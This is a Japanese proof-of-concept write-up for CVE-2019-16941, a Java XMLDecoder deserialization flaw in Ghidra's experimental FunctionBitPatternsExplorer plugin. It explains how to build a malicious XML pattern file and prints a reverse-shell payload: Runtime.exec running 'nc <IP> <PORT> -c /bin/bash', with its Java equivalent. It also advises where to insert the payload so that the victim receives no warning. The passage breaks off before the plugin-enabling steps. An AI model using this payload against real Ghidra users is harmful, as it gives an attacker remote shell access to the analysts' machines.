CVE-2019-16941

概念実証（PoC）：

この脆弱性は、トリガーされるために複数の比較的起こりにくい条件を必要とするため、その悪用可能性は限定されます。しかし、任意のコード実行につながる可能性があるため、ペイロードの準備には少しの労力と理解しか必要ありません。

ペイロードの作成：

ターゲットに実行させるペイロードを作成するには、Ghidraに組み込まれているスクリプトを使用できます。これにアクセスするには、「Window」→「Script Manager」をクリックし、Code Browserに取り込んだ任意のバイナリに対して、デフォルトパラメータで「DumpFunctionPatternInfoScript.java」を実行します（ただし、出力を保存するフォルダへのパスが存在することを確認してください）。このスクリプトはXML出力ファイルを生成し、その後、影響を受けるコンポーネントにロードされます。

このXMLテンプレートは、Javaコードとしてデシリアライズされ、ユーザーに警告することなく静かに実行されるオブジェクトを注入するために使用できます。基本的に、悪意のあるコードは、XMLファイルの末尾、</java> クロージングタグの前に追加のオブジェクトとして挿入されます。リバースシェルを表すオブジェクトペイロードの例は次のとおりです：

<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

上記は、次のJavaコードにデシリアライズされます：

Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

ペイロードの選択肢は無限です。XMLDecoderが必要とするXML形式に正しくシリアライズされている限り、あらゆるJavaコード（高度なマルウェアでさえ）がこの方法で実行される可能性があるためです。ペイロードをテンプレート内の他の場所に挿入する場合（さらに隠すため）は、デシリアライズ中に例外が発生し、ユーザーに警告される可能性があるため、注意が必要です。

実行：

ペイロードが実行されるプロセスは、Ghidra GUIを使用し、自動化することはできません。その代わり、被害者からの人的操作が必要であり、これはエクスプロイトが実行されるためのもう一つの条件となります。

このエクスプロイトが被害者のコンピュータで動作するには、GhidraでExperimentalプラグイン「FunctionBitPatternsExplorer」が有効になっている必要があります。これは、以下の手順に従って行うことができます：